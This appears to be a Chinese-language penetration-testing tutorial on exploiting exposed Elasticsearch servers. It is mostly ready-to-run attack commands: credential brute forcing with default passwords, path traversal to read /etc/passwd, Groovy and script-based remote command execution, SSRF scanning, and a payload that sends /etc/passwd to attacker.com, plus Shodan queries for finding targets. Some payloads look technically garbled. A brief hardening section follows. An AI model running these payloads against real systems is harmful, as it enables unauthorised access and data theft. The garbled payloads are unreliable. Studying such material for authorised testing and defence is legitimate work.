---
title: "9200 - Elasticsearch"
weight: 9200
date: "2026-03-08T23:52:01+08:00"
lastmod: "2026-03-10T13:26:55+08:00"
---

💡 **学习提示**: 本文档介绍 **Elasticsearch** 的渗透测试方法，适合信息安全初学者和从业人员参考。

⚠️ **法律声明**: 本文档仅供学习和授权测试使用。未经授权的系统测试可能违反法律法规。

---

> ⚠️ **法律声明**: 本文档仅供学习和授权测试使用。未经授权的系统测试可能违反法律法规。

## 漏洞概述

Elasticsearch 是分布式搜索和分析引擎，默认无密码且绑定 0.0.0.0，导致大量未授权访问漏洞。

**影响版本**: <7.0 (默认无认证)  
**危害等级**: ⭐⭐⭐⭐⭐

---

## 信息收集

### 端口扫描

```bash
# Nmap 扫描
nmap -sV -p 9200 <TARGET_IP>

# Elasticsearch 枚举
nmap --script elasticsearch-* <TARGET_IP>
```

### 版本识别

```bash
# 直接访问
curl http://<TARGET_IP>:9200/

# 返回示例
{
  "name" : "node-1",
  "cluster_name" : "elasticsearch",
  "version" : {
    "number" : "6.8.0"
  }
}
```

### 集群信息

```bash
# 查看节点
curl http://<TARGET_IP>:9200/_cat/nodes?v

# 查看索引
curl http://<TARGET_IP>:9200/_cat/indices?v

# 查看分片
curl http://<TARGET_IP>:9200/_cat/shards?v
```

---

## 漏洞利用

### 方法 1: 未授权访问

```bash
# 查询所有数据
curl http://<TARGET_IP>:9200/_search?pretty

# 查询特定索引
curl http://<TARGET_IP>:9200/<index_name>/_search?pretty

# 查看配置
curl http://<TARGET_IP>:9200/_cluster/settings?pretty
```

### 方法 2: 弱口令爆破

```bash
# Hydra 爆破
hydra -l elastic -P /usr/share/wordlists/rockyou.txt http-get://<TARGET_IP>:9200/_cluster/health

# 默认凭据
elastic:changeme
elastic:elastic
kibana:kibana
```

### 方法 3: 任意文件读取

```bash
# 读取 /etc/passwd
curl -XGET "http://<TARGET_IP>:9200/_plugin/head/../../../../../../../../etc/passwd"

# 使用 file://协议
curl -XGET "http://<TARGET_IP>:9200/_river/_search" -d '{
  "size": 1,
  "script": {
    "lang": "expression",
    "source": "new java.util.Scanner(new java.io.File(\"/etc/passwd\")).useDelimiter(\"\\\\A\").next()"
  }
}'
```

---

## 命令执行

### Groovy 脚本执行 (CVE-2014-3120)

```bash
# 创建索引
curl -XPOST 'http://<TARGET_IP>:9200/test/' -d '{
  "test": {
    "properties": {
      "test": { "type": "string" }
    }
  }
}'

# 执行命令
curl -XPOST 'http://<TARGET_IP>:9200/_search' -d '{
  "size": 1,
  "script_fields": {
    "test": {
      "script": {
        "lang": "groovy",
        "script": "Runtime.getRuntime().exec(\"whoami\").text"
      }
    }
  }
}'
```

### Painful 脚本执行

```bash
# Elasticsearch 5.x+
curl -XPOST 'http://<TARGET_IP>:9200/_search' -d '{
  "script": {
    "source": "def proc = Runtime.getRuntime().exec(\"whoami\"); def scanner = new Scanner(proc.getInputStream()); return scanner.useDelimiter(\"\\\\A\").next();"
  }
}'
```

---

## 内网渗透

### 扫描内网

```bash
# 使用 SSRF 扫描
curl -XPOST 'http://<TARGET_IP>:9200/_search' -d '{
  "script": {
    "source": "new URL(\"http://192.168.1.1:80\").text"
  }
}'
```

### 数据 exfiltration

```bash
# 外带数据到攻击者服务器
curl -XPOST 'http://<TARGET_IP>:9200/_search' -d '{
  "script": {
    "source": "new URL(\"http://attacker.com/?data=\" + URLEncoder.encode(Runtime.getRuntime().exec(\"cat /etc/passwd\").text, \"UTF-8\")).text"
  }
}'
```

---

## 防御建议

1. **启用认证 (X-Pack)**
   ```yaml
   # elasticsearch.yml
   xpack.security.enabled: true
   xpack.security.transport.ssl.enabled: true
   ```

2. **绑定本地地址**
   ```yaml
   # elasticsearch.yml
   network.host: 127.0.0.1
   http.port: 9200
   ```

3. **配置防火墙**
   ```bash
   iptables -A INPUT -p tcp --dport 9200 -s <TRUSTED_IP> -j ACCEPT
   iptables -A INPUT -p tcp --dport 9200 -j DROP
   ```

4. **禁用动态脚本**
   ```yaml
   # elasticsearch.yml
   script.inline: false
   script.indexed: false
   ```

5. **定期更新**
   - 升级到 7.x+ (默认启用安全功能)

---

## 参考链接

- [HackTricks - 9200-elasticsearch](https://book.hacktricks.wiki/en/network-services-pentesting/9200-elasticsearch.html)

---

---

---

### 搜索引擎语法

#### FOFA

```bash
# FOFA 搜索语法
port="9200"
```

#### Shodan

```bash
# Shodan 搜索语法
port:9200
```

#### ZoomEye

```bash
# ZoomEye 搜索语法
port:9200
```

---

## 📖 参考资料

- [HackTricks - 9200-elasticsearch](https://book.hacktricks.wiki/en/network-services-pentesting/9200-elasticsearch.html)

